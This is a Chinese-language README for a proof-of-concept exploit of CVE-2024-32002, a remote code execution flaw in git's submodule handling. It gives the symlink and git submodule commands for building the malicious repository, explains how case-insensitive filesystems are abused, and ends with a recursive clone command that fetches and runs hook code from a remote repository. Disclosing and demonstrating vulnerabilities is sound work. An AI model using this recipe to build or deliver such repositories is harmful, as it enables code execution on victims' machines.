CVE-2024-32002 RCE POC

一个用于CVE-2024-32002的POC，演示远程代码执行（RCE）。

相关子模块仓库见cve-2024-32002-poc-rce。

此仓库包含的内容

• 一个具有任意名称的符号链接，链接到 .git 目录。
• 一个定义恶意子模块的 .gitmodules 文件。

如何重建此仓库

此仓库是在Linux（具体来说是WSL2）中创建的。这很重要，恶意仓库只能在区分大小写的文件系统上创建。

1. 创建一个全小写字符的符号链接

ln -s .git submodule

注意：

• 符号链接应指向 .git 文件夹，因为这是我们要写入文件的位置
• 符号链接名称 (submodule) 是任意的，但应以小写字符开头
• 这很重要，因为小写字符排序早于大写字符。当克隆机器对将子模块文件写入何处感到困惑时，我们希望它选择符号链接而不是普通目录。

2. 添加恶意子模块，注意子模块目录名称中的大小写差异

git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce

注意：

• 子模块的名称 ("rce/notexists") 很重要，在将我们的钩子放置在子模块中时会起作用。
  • "rce" 必须匹配子模块路径的最后一段。
  • "notexists" 必须匹配子模块目录中包含 hooks/post-checkout 的目录名称。参见 cve-2024-32002-poc-rce。
• 子模块路径的结构 ("Submodule/modules/rce") 也很重要：
  • 子模块路径的第一段 ("Submodule") 应与上面的符号链接名称匹配，仅大小写不同。
  • 第二段 ("modules") 匹配 .git 目录中跟踪子模块 git 状态的路径名称。
  • 第三段 ("rce") 必须与上面子模块名称的第一段匹配。

如何运行POC

此漏洞仅影响 Windows 和 MacOS，因为它们都有不区分大小写的文件系统。

1. 检查你是否拥有受影响版本的 git。受影响版本请参见 GitHub 公告。

git --version

2. 想想你是否愿意故意运行一个可能实现 RCE 的命令... 此仓库是良性的，但你真的确定吗？
3. 运行以下命令：

git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git

4. 如果POC生效了，你应该可以做一些计算了！